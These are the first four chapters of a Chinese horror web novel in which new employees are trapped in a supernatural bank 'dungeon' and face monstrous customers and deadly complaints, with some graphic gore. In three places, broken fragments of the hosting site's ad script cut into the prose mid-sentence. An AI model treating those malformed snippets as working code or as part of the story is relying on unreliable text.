《就我是来副本上班的吗?[无限流]》 1. 海城市民银行01 “季风,今天早上的面试别迟到了。” “嗯,正准备去。”季风在玄关低着头穿鞋,顶着一头没用摩丝定型的中短发,发梢从肩上滑落到脸侧。 女人看着那缕头发,说:“工作我打了招呼,面试好好表现。” “好的,妈妈再见。”穿好鞋,她没回头看女人,打了声招呼就走了。 等走出小区的大门,季风才长舒了口气。今天她要面试的公司大有来头——海城市民银行,是其总公司安希福祉集团全资的,面向市民开放的商业银行,也是市民们能接触到这个全球顶尖集团唯一的途径。 但季风不需要在意这些玄乎的名头,她对进入这家银行工作毫无兴趣,只是听从父母的安排。 车很快到达目的地,远远地看见三栋大楼鼎立在闹市街区的中心位置,最前面便是海城市民银行,大门敞开,有不少人进出。后面两栋像是安希福祉的办公大楼,外立面覆盖着深蓝色的玻璃,隐在前一栋的阴影里。 季风走到大楼下面时,莫名感到有些压抑,胸腔像是埋在水里,起伏受阻。她抬头,发现高耸的楼体挡住她的视线,看不见天空,大楼有种诡异的呼吸感,像活物一般。 她进到银行大厅的一瞬间,冷气从四面涌来,包裹住她,带走外面天气造成的一些热气。 ?#@%:小花、绑定成功。 “……”熬夜熬的眼花了吗?季风再看时那行字已经消失。 “您好,请问您办理什么业务?”机械女声的闯入打断了她的思绪,她眼前是个穿着工作制服的女性,脖子上带着一个机械装置,刚才的声音就是从这里发出来的。 “你好,我是来面试的。”季风说话时眼睛不自觉的看着对方脖子上的东西。 “好的,这是给您抽的号,请在那边沙发上等待。” 季风把视线从脖子上那个发声装置挪开,移到对方的脸上,这名工作人员脸上挂着标准的笑容,把小票递给季风。 “谢谢,”季风接过小票,“你脖子这个好方便,我想给我妈也买一个。” 其实她妈妈并不需要,只是季风盯得实在明显,要找个借口。 “这是公司给我的。”工作人员发出的机械声音没什么起伏,但季风看到她嘴角下去了几分。 “不愧是大公司,给不方便的员工发这种辅助设备。” 工作人员像是想到了什么,抽搐的嘴角撑不住笑容落了下去:“我以前不是…嗞——,这东西是…嗞——给我的枷锁…滴——” 她脖子上的装上的绿灯快速闪烁,“滴”声后变红,再发不出声音。季风还想再问什么,但是这个工作人员看了眼表,急匆匆的从一扇门出去了。季风只能先坐到沙发上,抬头漫无目的地乱看。 这一看就发现这个银行大楼构造有些奇怪,内部明明只有两层,外面看那么高一栋,至少十几层,剩下的空间总不能是装饰。 “请A014号到一号柜台办理,请A014号到一号柜台办理。”喇叭里播报出她手里的号码。季风探了探头,走到一号柜台拉开椅子坐下,把小票递进窗口, “你好,我是来面试的。” 里面的柜员没有什么特别的反应,隔着厚厚的防弹玻璃,季风看不清她的表情,嗡嗡的说话声从喇叭里传出来,刺啦刺啦的电磁声交杂着蹦出几个能勉强辨别的词语,她集中精力努力辨别这柜员的话,全文大意是回去等消息吧,现在可以离开了。 季风回家一开门,看见自己的妈妈坐在餐桌前,今天穿的是一身白色西装。 “今天面试不错,三天后就可以入职了。”妈妈看着她,似乎已经提前知道了结果。 季风换好鞋,站在玄关没走,也没说话。 “怎么了?” “一定要去吗?” “你不想工作吗?如果找到更好的,妈妈也不会限制你。” 季风找不到其他工作,她所有的简历都石沉大海,偶有回应的也在最长半天后就突然反悔,岗位取消了,招满了,招错人了,什么理由都有过,对方甚至愿意给她违约金,说什么也不肯雇用她了。 女人仍优雅的坐在那里,姿势没丝毫变化,语气也温柔的像在商量,但季风能感受到,她感觉自己暴露在一头野兽的目光下, “知道了。”季风轻声答应下来,尽量从容的回到自己房间,像之前无数次一样。 季风靠着门坐下,她不想去那家银行上班,那里自己的一举一动妈妈比她还先知道。 “对了,今天那个脖子上带喇叭的人是怎么回事?”季风突然想起这件事,拿起手机搜关键词,她莫名特别在意那个,不搞清楚抓心挠肝的难受。 废了一番功夫,但相关新闻好像都被删了,季风以为自己要带着这个疑问入土了,刷到在一个论坛里,有人提出了跟她一样的问题,回复的人不少,很快事情的全貌就被搭建出来。季风手指滑到最新的一条回复停住了, “那人被拿刀的人砍了,冲着抹脖子去的,命大只伤了喉咙。” 如此劲爆的情况很快有人回复, “你在现场啊知道这么细节?” “我真在。” “……牛,这银行挺好啊,残疾员工也让上岗。” “不觉得,你被砍了你愿意回犯罪现场上班吗。” “听说是签了什么终身协议,不干也得干,说不了话就带着喇叭上班。” 季风正看的投入,一刷新,楼没了。 想到自己即将要入职这家银行,她愁得睡不着觉,打开应聘软件又投了一百份简历出去。 “醒醒……”模模糊糊听见有谁在跟她说话,奇怪,是妈妈进她房间了吗?季风睡得迷糊,但也记得妈妈从没叫过自己起床。 家里进贼了!季风脑子里闪过这个这个念头,瞌睡一下醒了。 她睁眼却发现自己面前是一张老式红木办公桌,自己坐在椅子上,身上已经穿上了银行的工作制服。面前的女孩也穿着制服,应该是刚才跟她说话的人。女孩看她醒了,一副放心下来的表情,接着紧贴着她坐下了。季风扭头能看到她双手无意识握在一起,想来是因为太害怕了,所以赶紧把旁边的人叫醒。 女孩感觉到季风在看她,有些不好意思:“我叫家惠。” “季风。” 交换了名字,季风观察了一下周围,一共有八个人,都穿着员工制服,能感觉到大家都紧绷着神经,毕竟睡醒发现身处异地,任谁都不能淡定。 终于有人打破沉默,“谁知道这是怎么回事吗?”开口充满谨慎,措辞小心翼翼。 一个娇小的女孩看了看周围,没人接话,想了想开口:“我醒来就在这里了。” 大家听到这活,气氛稍微有些松动, “我也是。” “吓死了,我以为自己被绑架了。” “我手机呢?手机不在身上了。” “但不是绑架,我们怎么在这?”角落里有人小声说了一句,众人逐渐不吭声了。 八个人干什么的都有,有的在浴缸里睡着了,一睁眼来这了还穿的整整齐齐,再迟钝也意识到不对劲了。 季风一直没说话,就在刚才她眼前又出现了昨天的字幕, 小花:面试。 除了自己别人似乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看不见。 这里就是她昨天去的那家银行,但看到大家对这并不熟悉,也不像是来者求职的人,首先排除是银行直接抓人来上班这种可能。 一中年男性看又冷场了,环视四周,发现加上自己就两个男性,剩下全是小姑娘,也不害怕了,好像回到了单位,他一眼就挑中了季风,这个女生细皮嫩肉,看起来很好拿捏, “这位女士刚才没讲话,你或许知道什么吗?”一副小领导做派。 季风抬头,确认对方在跟自己说话,正准备开口就听见有人抢话, “大哥你以为你还在单位开会呢?在这发号指令。”是刚才那个女孩,看起来一小只,说话跟钢炮似的,打的那男人一点声都没了。 季风本来也没想老实回答,奈何这个女孩“英雄救美”的速度是在是快。 两人交换了名字,女孩叫金李。她说自己昨天还在爬珠峰呢,在帐篷里休息了一下,一睁眼还以为自己到天堂了,还在想天堂怎么装修的跟银行一样。 这时突兀的铃声响起,不待众人反应过来,一个人从旁边一直紧闭的门里出来,西装革履的,走到众人中间停下。季风瞥了一眼,那扇门上写的主任室。 “好了,现在开始开早会。”来人是一位摸不清年龄的男性,长发,鹰钩鼻,脸色惨白,骷髅般的身形塞在西装里晃荡。“我是这次副本的主持人,欢迎各位的到来。” 众人终于看到一个活人,七嘴八舌开始讨伐,势必要问出个究竟。主持人眼神巡视了一遍这一堆人,接着说,“看来大家有不少疑问,不过各位只需要知道,各位都是经过挑选被邀请过来的,所以仔细听我接下来的规则介绍,并请牢牢记在脑子里。” “一、上班时间是早上十点至下午五点。下班时间有严格的规章制度,请务必遵守。 二、客户就是上帝,请务必不要引起客户投诉。 三、监控会记录你们的全部行为。” “务必遵守哦,不然就要永远留在这里了。”主持人有些戏谑的说完这句话,“岗位在你们的制服名牌上,去找到自己的位置吧,散会。” 没等大家问什么,转身走进大厅拐角处自己的办公室,把门关了,背影有种匆忙的感觉,季风发誓自己听到了门上锁的声音。 八个人被分成两组,一组人在防弹玻璃里面的柜台坐着,面前是复杂的操作系统,另一组人在外面大厅站着,季风、家惠等四个人被分到外面,得在迎宾位站着,这个位置离大门最近,一会不管进来什么牛鬼蛇神,这块第一个遭殃。季风站在这里,心里想:“倒霉,实在是倒霉。” 十点刚到,大门准时打开,门外空无一人。但没人敢放松警惕,大家屏气凝神,谨慎的注视着门外。这家银行的外墙和大门全是玻璃,外面的景色清晰可见。季风看着外面的街景,总感觉在看绿幕似的,太平了。这时,来顾客了,大门口的那块地就跟游戏刷新点一样,顾客“刷”地冒了出来。 “太省经费了吧……”季风实在没忍住吐槽,她以为至少会从旁边的街上走过来。 家惠在旁边紧张的快要爆炸了,听到季风冒出这么一句话,还以为自己幻听了。 “姐,我还能靠上你吗?” 季风给了家惠一个鼓励的眼神:“女人靠自己。” 家惠觉得自己脑瓜子嗡嗡的,或许是压力太大,在顾客来到迎宾台时,她脑子里的弦啪的一声断了,冲到最前面声音洪亮的招呼道:“你好,欢迎光临,请问您要办理什么业务?” 季风震惊的看了她一眼,孩子吓傻了? 家惠直挺挺的站在那,一副早死早超生的表情。 2. 海城市民银行02 来的是一个干瘦的男性,跨着个布袋子,家惠仔细观察发现男人脸上没什么多出来的器官后,心刚放下了半截。就看见他的嘴一开一合:“你好,我想找你们经理。”家惠总觉得男人的五官在脸上游移,看得她发晕,听到这活低头看见自己名牌上写着“大堂经理”就晕晕乎乎地应了。 “你就是?”男人低头看家惠的名牌,似乎是离太远看不清,下一秒家惠看见男人的脖子像橡皮泥一样拉长,脑袋贴在自己的名牌上。 “!”对这颗近在眼前的脑袋家惠直接凝固了,在柜台里的玩家被这超自然现象吓傻了,心有余悸的确认了一下防弹玻璃的存在,季风看男人的四肢也开始蠕动,怕他有进一步动作,在后面悄悄地拽着家惠后撤了一步。 “你把我的钱还给我!”男人把头从名牌上拔出来,起身时五官都有点偏移原位,用他已经在鼻子位置的嘴巴吼着, “就是你们黑心银行,骗走我的钱!” “不是先生,您认错人了。”男人翻脸如翻书,家惠被他态度和造型的双重巨变冲击,否认的话刚说出口,就被男人打断:“我现在找你!你给我解决!” “我解决不了!” 男人不断逼近,家惠双腿发软,也不敢直视男人扭曲的样子,嘴里不断否认。 “你敢说这话?我要投……” “这位先生!”男人被季风叫住,“您具体怎么回事跟我讲讲?”季风看着男人七扭八歪的五官,给他投去一个友善的眼神,就当在天地银行上班了,什么牛马蛇神没见过,季风一般微笑一遍默念。 男人竟然真的被劝住了,五官也缓慢回到原位,给季风讲述自己的遭遇,大致就是说银行以他的名义进行巨额贷款,但他只办过一次。季风摆出一副认真倾听的姿态,余光一直在瞟其他玩家,结论是一个能打的都没有。正准备收回目光时看到吴利漫不经心的看着这边,似乎并不恐惧。 “经理,我该怎么办啊?”男人的声音把季风的视线从吴利身上拉回来。 怎么办,她怎么知道怎么办,她也是第一天上班。季风有些心累。 “您这个事确实没听说过……”季风边想边说,脑子飞速旋转,自己都不知道下一句话会冒出来什么。“这样,您留个电话,我问一下领导,到时候给您回电话。” “现在不能解决吗?”男人又想发作,但季风态度极好的迅速说:“涉及的部门比较多,我们问清楚了让专门的人给您回电话!”男人看季风,只看见她真挚的双眼。 “那我……” “您要不着急先回去?怕今天上午结果出不来。”季风立刻接茬,话里话外把男人往门口送,全程微笑服务,男人被稀里糊涂的送走了。 季风望着门口,刚松了口气,旁边响起吴利的声音:“你现在把他送走了,他的事没解决明天再来怎么办?” 这话正中季风下怀,摆出一副愠怒的表情,“那您刚才怎么不帮忙?” “不是找的你俩吗,又没找我。”吴利看着她笑了。 “他要投诉怎么办?” “投诉只会落到个人。”说完吴利顿住了,他意识到自己被套话了。 季风没再说话,果然,吴利的表现太奇怪了。 家惠看着男人离开的方向惊魂未定,第二位客人“歘”地刷新出来,他四下巡视一圈,径直超吴利走去。 季风一看,指名服务,两人松一口气,好整以暇地看他表演。 “我给您抽个号,您去个人柜台办。”吴利不接招,直接把人引到旁边那组。 客户二号长得五大三粗的,被吴利轻松忽悠去了柜台。 “姐.......我没眼花吧......”家惠颤抖的声音在耳边响起, “嗯。”季风盯着客户二号的后脑勺应声,那没几根毛的头皮上隐约有另一张脸,再看却变成头皮的褶皱。 个人柜台是李浩顺和胡青青。两人将刚才的动静都听进耳朵里,见吴利直接把客人送过来,吓得话都说不利索了。还是胡青青先反应过来,赶紧询问客户办理什么业务。 他两人商量好是李浩顺先来,这时坐在座位上的李浩顺终于反应过来, “您办什么业务?您先坐。”对方站在柜台前面太有压迫感了。 客人坐下后把银行卡又扔进柜台,卡片磕在桌子上的响声让柜台里的两人心跟着颤。“他隔着玻璃至少打不了我吧。”李浩顺一边瞄着心里想,一边在陌生的系统里寻找取钱业务。 幸好是个基本业务,很快就找到了, “请输入密码。”李浩顺松了口气,说道。 “不知道。” “不知道.......什么?”李浩顺没反应过来。 “不知道密码!”男人一拍桌子吼了起来。 “没密码取不了啊。” “我妈的卡!我还不能取?” “您要不问问您母亲密码?”男人越暴躁,李浩顺越恭敬,他现在恨不得把自己的钱取给男人,可惜他身无分文。 男人听到这句话,仿佛被点燃了怒火,蹭的一下站起来:“她死了!死人怎么问你告诉我?”一边说一边开始拍玻璃,“你下去问?我把你送下去你信不信!” 她信。李浩顺看不见男人后脑勺上那张脸,季风可看的一清二楚,那脸随着男人的愤怒竟然逐渐模糊, “难道不应该更清晰吗?”家惠也看出来了,随着脸的模糊男人越发愤怒,李浩顺面前的玻璃感觉已经摇摇欲坠。 “要是我们,这个客户拍的就不是玻璃了。”季风答非所问的说,一直观察着柜台这边。 哐哐哐哐!砸玻璃的声音一直在响,男人没有停止的意思,动作幅度越来越大。不行,季风决定去阻止他,这样下去柜台里面的人是安全了,不敢赌男人打不到里面的人会不会来找他们。 “这位先生,我们给您解决。”男人耳边响起季风的声音,他转头用一双已经赤红的眼睛看着季风。 在男人转头看季风时李浩顺终于看到后脑上上的另一张脸, “他……他、”李浩顺指着那里结结巴巴,季风瞪了他一眼,他识相的噤声了。 “这样,我们先帮您查一下卡里还有多少钱。”季风一边说一边缓慢的让男人坐下,人坐下怒气也就下去了,就是不清楚副本里的“客人”吃不吃这套。 季风在男人后面站着,眨眼示意里面的人给他查余额。 李浩顺一查两眼一黑,卡里有十万多巨款。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 季风看见李浩顺的手势,心沉了下去。本来想赌男人卡里没钱,结果不仅有,还不少。不知道违规给他取会怎么样,季风这个想法刚冒出头,看见李浩顺一副鹌鹑样,遂放弃。 同样在柜台的胡青青也看到了这一幕,面色凝重的思考对策。季风认为不能拖下去了,给男人说:“这样,我们给您想办法,您在沙发上稍等一下。”男人似乎被安抚下来了,季风站在他身后,看到那张脸似乎比刚才清晰了几分。 “查一下她母亲那张卡的预留电话。”把男人支到一旁的沙放上,季风若有所思的对柜台说。 “是这个。”李浩顺把电脑屏幕拧过去给季风看,虽然不知道原因,但他听话。 胡青青手边有一个座机,季风让她给那个电话打过去。 “说什么?”胡青青一边拨号一边才问。 “赌他是老太太另一个家属。”胡青青点了点头,等待电话的接通,三人只有李浩顺一头雾水,他也不敢打扰两人。 胡青青给了季风一个眼神,电话接通了。是老太太另一个儿子的。坐在那里的男人好像察觉到了什么,恶狠狠的盯着季风:“你找到解决方法了吗?” “您是还有个哥哥是吗?”季风微笑的注视着男人。 接着众人就看到男人背后的脸开口说话了:“你好,我是他的哥哥。” 胡青青攥着电话,听见脸的声音从电话里传出来,她感觉有点想吐,但在这之前用惊人的毅力告诉电话里有人要取老太太遗产。 “好的,我会解决这个不孝子。”胡青青机械的放下电话,男人背后的脸变的愤怒扭曲,他挥舞双臂去抓自己的后脑勺,但阻止不了那张脸越来越清晰。 “什么、阴魂不散的东西!滚!”头皮被他挠出一道道血痕,他仍不肯停下,只感觉有脑子里像安了一台滚筒洗衣机,不停地在吸自己的脸。 众人站在原地,大气不敢喘,他们看见那张脸陷进男人的后脑勺里,男人的脸像面团一样被揉进去,消失了,男人胳膊耷拉下来,几秒后手又抬起来抹了一下脸, “给大家添麻烦了,”男人站起来,向门口走去,他指了指季风:“我会向公司表扬你。” “多谢。”季风给男人让出离开的路,男人后面的头皮一片光滑,那张脸在正面。 吴利站在那冲她笑:“处理的很好。”竟然是一句鼓励的话,放在这个环境下十分怪异,他真当自己来上班的吗?季风没回应,有些烦躁的站回迎宾台。 “这个客户动静太大了,幸好你把他弄走了。”吴利接着讨论刚才的客户。 “嗯,幸好他背后有人。”季风还是没让他的话掉地上。 送走两位瘟神,时间很快来到傍晚,落日的余晖染红整个大厅,五点整时大门准时关闭。第一天上班无人牺牲在工位上,大家明显放松了一些,食堂飘散出饭菜的香味,不管食物正不正经,饿了一天的众人都选择去吃饭。家惠挽着季风的胳膊,两人一起往食堂走。 “怎么了?”看季风突然停住脚步,家惠有些奇怪的问。 季风的眼前现在一片红色,字幕闪烁着: 小花:危险! 小花:突发事件! 小花:不要开——滴 3. 海城市民银行03 字幕消失,下一秒众人就听见身后传来“哒哒哒、”“哒哒哒、”的声音,在空旷的大厅里异常清晰,季风转身,看见一个褐色人影站在门外,“哒哒哒、”“哒哒哒、”随着人影手臂摆动,声音从四面八方笼罩住众人。他在敲门,敲一扇敲不响的玻璃门。 “要……开门吗?”李浩顺窝囊的声音在角落里响起。 外面的人影像是站在背光处,看不清细节,只是一片褐色,似乎歪了歪头,好像在疑惑为什么不开门。 “这位先生……女士?”第一天挑季风讲话的那个中年男人壮着胆上前了,他叫钱一,他虽然目睹了今天两个非正常客人,但一直待在防弹玻璃后面,没受到实质性攻击,他现在对这扇玻璃大门也十分有自信, “我们下班了。”他站在门前,挥挥手,想把那人赶走。就是奇怪,站到这里也看不清来人的长相,钱一这么想着,又上前了两步,那人影好像在说什么,有些听不清。 “喂!退后!”耳边一声炸雷,钱一回神发现自己的手已经搭在门把手上。是季风喊的,她发现钱一不太对劲,但压根不记得他叫什么,只能喊喂。 那人影敲门半天无果,也没什么反应,原地消失了。 这么一闹腾,众人也没什么胃口了,季风早早上楼回到自己宿舍,倒头就睡。半夜季风被一阵敲门声吵醒了,她坐起身来仔细听发现是隔壁的声音,应该还隔了几个房间,敲了两下门后季风听见开门的声音,紧接着有人惊恐的喊着:“我没开门!啊!”然后是一阵寂静,“咔哒、咔哒”那声音又接着想起来,在走廊里一间一间的敲门。 这回季风听清了,“客房服务。保洁。”半夜的客房服务没有人会开门,但听起来有几件们被打开了,有些则没动静,门被打开会有什么遭遇不难想象,但没开门的人是怎么做到的?季风想着,环顾四周,目光定格在房门口橱柜上的免打扰标牌上。 “咔哒、咔哒”声音在她房门口停下了,哒哒哒,“客房服务,保洁。”哒哒哒。季风把牌子挂在门把手上后没再上床,她此刻就在门后站着,手里拿着一根中性笔,这是她找遍房间发现的唯一一个利器。 门外敲门无果,安静了一阵,“咔哒、咔哒”的声音又响起,往下一个房间去了。季风松了口气,慢腾腾挪到床上,一沾枕头又睡着了。 第二天早上季风是被闹钟吵醒的,她怕在副本里迟到,竟然真的在房间里找出个老式闹钟。睡了一个好觉季风神清气爽的来到楼下,就发现大家死气沉沉的聚在一起。看到季风下来,家惠就差热泪盈眶了:“姐!我以为你死了。”季风看不少人都顶着两个黑眼圈,除了吴利,他看起来没什么变化。 “不好意思,我有点睡过了。”季风简单解释了一句。众人听到这话,露出羡慕的表情,这种情况下能睡着是真牛。 “少人了。”李浩顺在一旁说,八个人现在只剩下六个, “都是昨晚……吗?”家惠问。 “钱一的门敲不开,莲婉不见了,昨天晚上我听见他们的声音了。”胡青青的宿舍刚好夹在两人中间,昨天晚上可谓是身临其境。 卷帘门提前一小时升起,阳光一点点透过缝隙挤进来。今天外面的街景湿漉漉的像刚下过雨,一并映入眼帘的还有堆在门口的尸体。 “那好像是钱一。”胡青青的声音有些发抖,因为那具尸体确实是像一口蛇皮袋一样堆在门口,只能从衣着和皱在一起的五官辨认。钱一似乎是昨天班后还是出了门,他周围凌乱的涂满血迹,体内像是被融化了一般,有一摊液体半凝固在这一堆皮的旁边。随着太阳的升起,这些斑驳的痕迹逐渐的消散,只留下钱一那具异常完整的外壳。 胡青青跑去吐了,家惠也感觉胃里翻江倒海,但又不敢离开季风身边,抓着她的手抖成了筛子。 “大家都站在哪里干什么?来开晨会了。”主持人像一只小鸟,用他清脆的嗓音招呼大家。众人不敢忤逆,缓慢的向开晨会的地方挪动,因为胃里没多少东西可吐了。 主持人等大家站定,“遗憾的通知大家,有一位同事被开除了。”捂着胸口一副悲痛万分的样子。 “请问,外面那人没被开除吗?”季风对一个人表示疑问。 “他啊,他是主动离职,不是我们开除的哦。”主持人瞥了一眼外面,语气似乎有些不满。 “不过今天晨会是要说一件重要的事,”他话锋一转:“昨天接到一笔投诉,非常严重!” “啊?昨天那两个人有投诉的吗?”家惠感觉自己在劫难逃。 “三个人。”季风说。 “第三个?”家惠有些不解,哪来的第三个。 胡青青最先反应过来:“关门的时候来的那个。” “那个也算吗?” “不是都下班了。” “那也应该投诉的钱一吧,现在不是死无对证。” 剩下几人觉得十分荒唐,主持人清了清嗓子,目光扫过每一个人, “那位客户对下班了不办业务十分不满,表示自己都到了,员工也看见他了,竟然把他拒之门外,他投诉了每一个人。”主持人的话像一记重锤,锤在其余五人身上。 “一般不会发生这种事的,你们真是倒霉了。”主持人似乎是真的同情这群倒霉蛋,多说了两句废话,才回自己办公室去。 现在六人只有季风因为有一个表扬是安全的,其余人的性命可以说是上班就受到威胁。但不是所有人脸上都有恐慌的神色,吴利还是他那副表情,一副事不关己的样子,这中更奇怪的是李浩顺,他一脸怂样,跟之前倒没什么变化,季风微微皱了下眉,没变化才奇怪。 开门时间前众人还是站在了自己的岗位上,柜台里面现在只剩三个人了,李浩顺可谓是要挑大梁,季风看了他一眼,一副在在压力下摇摇欲坠的模样。 “早上好。”吴利见季风站过来,竟然还有心情打招呼。 “早。”季风看吴利气定神闲的样子,鬼使神差地问他:“你上班一般想摸鱼的时候去哪啊?” “我不......” “少装,”季风打断吴利的话,不论他想说的是“我不摸鱼”还是“我不知道”, “现在这种局面,你还要跟我藏着掖着吗。” “左边那个会议室,里面不查监控。”真的让季风给问出来了。 家惠听完两人对话,有些惊疑吴利是怎么得到这些情报的,但眼下也没工夫问,能用就行。 “姐,你打算怎么办,我能帮忙吗?” 季风站的笔直,眼睛目视前方:“解决不了投诉,就解决投诉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人。” 吴利听完这话都对季风有些侧目,家惠觉得这样计划的话自己显然是帮不上什么忙, “怎......怎么解决?” 正说着来客人了,季风一看这不是老熟人吗,是昨天的第一个客人,季风看着他一边走上前接待一边说, “这不有瞌睡送枕头来了。” 季风眼前此刻正闪着字幕, 小花:发现道具“破布袋子”,攻击型道具。 男人依旧挎着他那破布袋子,见季风上前,絮絮叨叨的说:“我从一开门就等着了,我是第一个刚才竟然有人想插队!不可能,你得先给我办。” 谁想插队?这种情况下众人很难不去看还堆在门口的钱一,季风把视线从钱一身上收回来,默默感谢这位客户的馈赠。 “经理,你昨天说的怎么给我解决?”男人佝偻着背,用他那双浑浊的眼睛睛看着季风。 “是这样的,还没有消息。” “没消息……?”男人有些不可置信似的,眼珠在脸上忽的晃了一下又回到原位,季风看见他的面部好像沼泽一样,五官开始漂移,紧攥着背包带的手也开始融化, “你骗我!” 季风缓慢的后撤了一步,男人像一团融化的淤泥,肉色的液体不断从他身上滴落,眼珠也里划出眼眶,要掉不掉的挂在脸上,腥腐的气息从他身上飘散出来,一阵一阵飘进季风的鼻腔,这回是真的想吐了,季风默默地屏息,又后退了一步。 “就是你!我要投诉你!”男人拖着融化的躯体快速的逼近,更强烈的臭味冲地季风发昏, 小花:后退! 季风身体比脑子反应快,猛的向后闪了一下,鼻尖感觉一阵腥风划过,定睛一看男人手里拿着一把镰刀,上面还有泥土和草粒,看样子是从布袋子里掏出来的。季风想把男人引到二楼解决掉,但现在的问题是他完全挡住了去二楼的路。 季风向后瞟了一眼家惠二人所在的位置,男人抓着镰刀砍来,季风被划伤了胳膊的一瞬感到剧烈的眩晕,好在已经退到家惠的位置, “引开他,我把他叫到二楼!”家惠听后抓起手边的塑料宣传板向男人砸去,男人愤怒的调转方向追向二人,季风瞅准空隙跑上楼梯,回头叫男人:“这位客户,您这个业务要到二楼办理。”男人停了一下,他不相信这个说谎的员工真的能给他解决问题,但他选择先攻击这个人。 季风见男人上钩了,回头迅速向楼上跑,男人追赶的速度似乎很快,季风眨眼就能闻到腥腐的味道从身后扑来。她一直跑到宿舍走廊的尽头,那的房间上写着保洁室,季风今早下楼的时候看见的,男人见季风停下脚步,似乎是被逼到墙角, “你们银行太黑心!一直在骗我!”男人此刻已经融化成一摊人形肉泥,一步一步像季风逼近,季风看着男人身后在走廊地毯上留下的痕迹,瘪了下嘴:“您也太埋汰了,不过没关系,”在男人走到面前时伸手打开保洁室的门,“我们有专门的保洁人员清理。” 门里漆黑一片,光一丝都没照进去,男人感受到一股恐怖的吸力,季风看见男人像淤泥一样被吸进房间,她迅速关上房门,顺手拿走了男人肉泥里唯一成型的布袋子。 小花:获得道具“装在布袋子里的镰刀”,使用次数:1 4. 海城市民银行04 “咔哒、咔哒”的声音再次响起。楼下家惠抬头看着天花板, “昨天晚上也听见了这个声音。” “是拉板车。”吴利知道季风解决了问题,看着楼梯口,“她下来了。” 家惠见季风完好无损的出来正准备扑上去,看见她肩上的布包紧急刹了个车, “姐、姐……这、”她惊恐地看着这个布包, “我抢过来的。”季风挎着包,有些无奈的说。 “那就好,我还以为那客户化形了。”家惠松了口气。 季风先去了会议室,把布包留在那里。 “不拿着吗?”吴利见季风空着手出来,问道。 “上班背着包,成何体统。”季风正说着脸色一紧,“来了。” 门口一个褐色的人影缓慢的出现了,他站在外面又歪了歪头,好像有什么东西挡着他进不来。那东西在门口撞了两下空气墙,发现了钱一,他走上前把这一片东西提起来,像布袋子似的抖了两下,双手抓着其两端,迈出一只脚,把钱一的皮穿了进去。但穿的并不服帖,皮还皱巴巴的裹在身上,像冬天没穿平整的秋衣。 这回他能进来了,季风看“钱一”一晃一晃的走过来,说:“有没有礼品?”嘴没动,声音从皮的底下传出来,听起来嗡嗡的。 “您办什么业务要礼品?” “钱一”无视了吴利的问话,看向家惠:“你们银行太嚣张了,我投诉了不道歉吗?不补偿我的损失吗?” “您要什么礼品补偿?”家惠感觉人皮下的视线在她身上来回扫荡,停在了小臂上, “胳膊。” 家惠感到小臂一麻,接着一阵灼烧版的痛意蔓延开来, “……”家惠有些怔楞的看像季风,她的胳膊已经变成了褐色,而“钱一”望向自己灵活的手指,满意的点点头,绕过季风向柜台走去。 这应该是投诉的后果,季风抓过家惠的胳膊,发现褐色正顺着小臂往大臂上蔓延,家惠此时已经满眼泪水, “什么感觉?”季风皱着眉翻看她的胳膊。 “像烧伤了一样,我快要死了吗呜呜……” “憋回去!”家惠的眼泪一下被打断,哭不出来了。 柜台那边胡青青捂着手臂,金李的左腿也变成了褐色,只有李浩顺在椅子上埋着头,仔细看还在发抖,但毫发无损。“钱一”从柜台过来,往门口走去。 “这就走了?”季风看着人影离去,总感觉他对他们的服务不是很满意。 天色渐晚,今天外面的街景有风刮过,似乎是阴天。 季风感觉街上的景色比第一天似乎真实了不少,不再像是绿幕抠图了。 终于熬到下班时间,好消息是家惠和胡青青的伤口停止蔓延了,看来是在上班时间才会恶化。但众人间的气压明显偏低,现在有一个很明显的问题,五人只有三人被攻击了。 为什么吴利和李浩顺没事?五人变成三人会不会有什么别的影响? 没人先问出这些问题,因为不会有回答。 “好了,先休息吧。”季风打破沉默,看了五人一眼:“记得把免打扰牌子挂上。” 周三早上主持人早早的等在大厅,面色不虞。 六人互相传递了一下眼色,默默站到主持人跟前。 “我真的很失望。”主持人目光在几位负伤的玩家身上停留了一下,“昨天那个投诉竟然没解决,客户今天还要来,你们做好准备。” “不是!为什么啊?”家惠捂着胳膊,情绪有些崩溃。金李自从伤了腿,话都变少了,此刻阴恻恻地盯着主持人。 “别看我啊,”主持人双臂抱在一起搓了搓,“投诉落在五个人身上,结果现在有几个人受到惩罚了?客户当然不满意。” “为什么他们两个没事。”金李也不客气,把矛头直指两个男性。 李浩顺有些心虚的别开眼神,吴利还是那副样子。 主持人意有所指的摊了摊手:“在工作中不能寻求公平啊,做好自己分内的事吧。” “什么意思啊?”金李直接炸毛了:“都到这了还有人走后台呢?” “我可没这么说。”主持人挑完火就开溜了。 金李此时怒火中烧:“我真服了!在外头我上班全是关系户,气不过裸辞去爬山,给干倒副本里来了,上班就算了,还找关系呢?后台是真硬啊!”金李要不是瘸着个腿,恨不得上去给两人一人一脚。 季风之前只是觉得两人有特殊技能,跟她这个不明不白的字幕一样,没想到这么世俗的层面上,但现在看来,是金李说的这情况没跑了。找关系找到副本里来,该说是副本太接地气,还是后台实在是硬。 六人的阵营现在有些微妙的变化。前两天的氛围是大团结共同打副本,没想到群众当中有叛徒,现在几人中间存在隔阂。 家惠不愿意跟吴利说话,柜台里胡青青也挪到金李那边,不在李浩顺后面协助了。季风感觉自己夹在两个阵营中,有些头大。她是当不来和事佬的,只希望哪边的战火都不要波及到自己。 上班时间一到,家惠的上就开始生长,已经蔓延到肩膀处了,接下来是到心脏还是可以撑到蔓延全身谁也不敢赌。那客户再来肯定还是冲着家惠去,季风看着家惠的状态,估计撑不住再来一次。 “一会你接待。”季风冲吴利抬了一下下巴,又给家惠交代:“人来了你躲开点,别让她冲你来了。” 家惠感激的点点头,看吴利没什么回应心凉了半截。 季风直接点名:“吴利,可以配合吗?” 吴利看了季风一眼:“你也不会受到影响吧,为什么?” “要是人死光了剩咱三,你不觉得工作量太大了点吗?”季风没搬出那套人性啊道德啊的论调, “今天才周三,这副本可是要上到周五,如果双休的话。” “如果剩一个人就能自动通关呢?”吴利还是没有要配合的意思。 季风感觉自己白费口舌,一阵邪火窜上来:“消息保真吗?” “嗯?”吴利没反应过来。 